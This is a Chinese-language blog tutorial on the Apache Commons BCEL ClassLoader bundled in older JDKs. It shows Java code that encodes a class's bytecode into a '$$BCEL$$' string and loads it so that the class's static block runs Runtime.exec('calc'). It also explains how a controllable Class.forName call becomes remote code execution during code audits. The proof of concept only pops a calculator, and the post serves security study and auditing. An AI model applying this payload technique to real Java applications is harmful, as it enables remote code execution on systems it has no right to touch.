【java编程】BCEL ClassLoader

news/2024/11/28 21:10:29/文章来源:https://www.cnblogs.com/o-O-oO/p/18575193

BCEL 介绍

BCEL的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一个子项目。Apache Commons大家应该不陌生,反序列化最著名的利用链就是出自于其另一个子项目——Apache Commons Collections

BCEL库提供了一系列用于分析、创建、修改Java Class文件的API。就这个库的功能来看,其使用面远不及同胞兄弟们,但是他比Commons Collections特殊的一点是,它被包含在了原生的JDK中,位于com.sun.org.apache.bcel

BCEL Classloader在 JDK < 8u251之前是在rt.jar里面。同时在Tomcat中也会存在相关的依赖。

tomcat7: org.apache.tomcat.dbcp.dbcp.BasicDataSource

tomcat8 及其以后: org.apache.tomcat.dbcp.dbcp2.BasicDataSource

BCEL 加载类的原理 && 恶意 EXP 编写

在研究之前, 我们先准备一个Calc类, 代码如下:

public class Calc {static {try {Runtime.getRuntime().exec("calc");} catch (IOException e) {e.printStackTrace();}}
}

当类被加载, 则进入 static 代码块, 进行弹出计算器的操作. 下面我们再来分析BCEL类的加载原理.

rt.jar!/com/sun/org/apache/bcel/internal/util/包下,有ClassLoader这么一个类,可以实现加载字节码并初始化一个类的功能,该类也是个Classloader(继承了原生的Classloader类)重写了loadClass()方法, 具体其他的也不多说, 直接看源码分析:

那么我们拿到一个类的字节码值有一种方式就是, 运行Java后, 读取所生成的.class文件的内容, 但是这样有点太麻烦, 有没有什么方式可以在我们运行Java中来得到字节码的信息呢?
答案是有的, 那就是Repository.lookupClass(Class<?> clazz)方法, 该方法可以在程序运行中读取一个class信息, 例如:

package com.heihu577;import com.sun.org.apache.bcel.internal.Repository;public class Main {public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {JavaClass javaclass = Repository.lookupClass(Calc.class);System.out.println(javaclass);/** public class com.heihu577.bean.Calc extends java.lang.Objectfilename  com.heihu577.bean.Calccompiled from  Calc.javacompiler version 52.0access flags  33constant pool  38 entriesACC_SUPER flag  trueAttribute(s):SourceFile(Calc.java)2 methods:public void <init>()static void <clinit>()* */System.out.println(Arrays.toString(javaclass.getBytes())); // 生成的字节码信息.../** [-54, -2, -70, -66, 0, 0, 0, 52, 0, 38, 10, 0, 8, 0, 23, 10, 0, 24, 0, 25 ...* */}
}

当然了, 它的原理如下:

那么最终, 我们可以通过如下代码进行调用我们的Calc:

public class Main {public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {JavaClass calcJavaClass = Repository.lookupClass(Calc.class); // 得到 Calc 类的 JavaClassString calcEncode = Utility.encode(calcJavaClass.getBytes(), true); // 使用 Utility.encode 编码 Calc 的字节码// calcJavaClass.getBytes()是用来获取字节码的String payload = "$$BCEL$$" + calcEncode; // 得到最终 payloadClass<?> clazz = new ClassLoader().loadClass(payload); // 最终得到该类的 clazzObject o = clazz.newInstance(); // 初始化类, 调用 static 静态代码块, 弹出计算器}
}

运行结果如下:

代码审计时使用场景

通常当我们遇到Class.forName(可控,true,可控)时, 即可触发漏洞.

参数1: 调用 loadClass(可控) 的值
参数2: 当设置为 true 时, 则表示加载类, 这里可以直接进入到类的 static 静态代码块.
参数3: 使用哪个 ClassLoader 进行加载, 如果这里可以指定, 那么我们可以指定 BCEL ClassLoader 进行加载.

我们就可以进行一个RCE, 案例如下:

public class Main {public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException,InvocationTargetException, IllegalAccessException, InstantiationException {JavaClass calcJavaClass = Repository.lookupClass(Calc.class);String calcEncode = Utility.encode(calcJavaClass.getBytes(), true);String payload = "$$BCEL$$" + calcEncode;Class.forName(payload, true,(ClassLoader) "".getClass().forName("com.sun.org.apache.bcel.internal.util.ClassLoader").newInstance());// 执行完毕后, 可以弹出计算器}
}

当然了, 这里我们也可以看一下Class.forName(String)的定义, 来理解为什么Class.forName(类名)可以直接进入到静态代码块:

@CallerSensitive
public static Class<?> forName(String className)throws ClassNotFoundException {Class<?> caller = Reflection.getCallerClass();return forName0(className, true, ClassLoader.getClassLoader(caller), caller);
}

可以从中看到, 默认第二个参数设置为了 true, 所以可以直接进入 static 静态代码块.

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/843075.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

借助电脑探究双变量函数问题侧记

记录一次借助电脑探究双变量函数问题的全过程前情概要 偶尔看到下面的习题,想到以前自己整理的双变量函数问题,尝试练手时发现,寻找思路不是很简单的问题,探索一番,对整个过程作以记录,成篇为一侧记 . 典型案例 【2025届高三数学月考3第12题】对于函数 \(f(x)=e^x-x^2+a\…

Paypal最新版本 paypal-server-sdk 使用案例(前端 Vue3 + 后端Spring Boot )

背景 在项目中对接Paypal支付,一开始在网上查了好久,发现资料少,而且陈旧,甚至我都没弄清楚我应该哪个SDK。 我到 maven 中央仓库中,搜索 com.paypal.sdk,能查出不少结果,据我所知,至少有三个sdk可以从后端访问到Paypal:paypal-core:非常陈旧,2016年就停止更新了,但…

【java编程】URLClassLoader

从上面我们研究【java编程】双亲委派模式时进行Debug了源代码, 可以发现的是, URLClassLoader是ExtClassLoader && AppClassLoader的父类(不是父亲), public class Launcher {static class ExtClassLoader extends URLClassLoader {}static class AppClassLoader exten…

秒杀系统

前言 秒杀大家都不陌生。自2011年首次出现以来,无论是双十一购物还是 12306 抢票,秒杀场景已随处可见。简单来说,秒杀就是在同一时刻大量请求争抢购买同一商品并完成交易的过程。从架构视角来看,秒杀系统本质是一个高性能、高一致、高可用的三高系统。而打造并维护一个超大…

.NET周刊【11月第4期 2024-11-24】

国内文章 C# 入门深度学习:万字长文讲解微积分和梯度下降 https://www.cnblogs.com/whuanle/p/18551532 这篇文章主要介绍了使用 C# 进行深度学习的方法,特别是微积分在此领域的应用。作者简要讲解了极限、导数等基本概念,并展示了如何在 C# 中实现这些数学运算,例如将一个…

高级程序语言第九次作业

这个作业属于哪个课程:https://edu.cnblogs.com/campus/fzu/2024C 这个作业要求在哪里:https://edu.cnblogs.com/campus/fzu/2024C/homework/13311 学号:102400204 姓名:刘嘉奕不太理解10题a,b两个题目的要求有何不同,一个把值返回该结构,不运用指针,而b要把值赋给合适…

DataSophon集成StreamPark2.1.5

为DataSophon制作streampark-2.1.5安装包.md 下载并解压streampark 2.1.5安装包 StreamPark官网下载 wget -O /opt/datasophon/DDP/packages/apache-streampark_2.12-2.1.5-incubating-bin.tar.gz https://www.apache.org/dyn/closer.lua/incubator/streampark/2.1.5/apache-s…

以Deformable_DETR为例说明训练过程

以Deformable_DETR为例说明使用服务器训练过程 下载程序文件 根据论文提供的github地址fundamentalvision/Deformable-DETR: Deformable DETR: Deformable Transformers for End-to-End Object Detection.下载zip到本地 租用服务器 在autodl平台租用服务器,申请账号氪金之后去…

Qt VTK加载openfoam计算结果

Qt VTK加载openfoam计算结果.foam文件。#include <QApplication> #include <QDebug> #include "qvtkopenglwidget.h" #include <vtkSmartPointer.h> #include <vtkGenericDataObjectReader.h> #include <vtkPolyDataMapper.h> #includ…

蓝桥3511飞机降落

样例输入 2 3 0 100 10 10 10 10 0 2 20 3 0 10 20 10 10 20 20 10 20 样例输出 YES NO思路: 具体来说,对于每架飞机,有起飞时间(t)、降落时间限制(d)和飞行时长(l)等信息,代码要判断能否按照一定规则安排这些飞机的起降顺序,使得所有飞机都能在其降落时间限制内完成…

多校A层冲刺NOIP2024模拟赛27终结篇

不知道是不是我打的最后一场模拟赛了,记录一下吧,总体来说还不错,虽然 \(T1\) 方案数求错爆零了,但 \(T3\) 场切了,暴力打满的话有265,希望 \(NOIP\) 时也可以不让自己遗憾吧。 A 【模板】分治FFT 考虑每加进来一个数的贡献 \(x_1*x_2+(x_1+x_2)*x_3+...=x_1*x_2+x_1*x_3…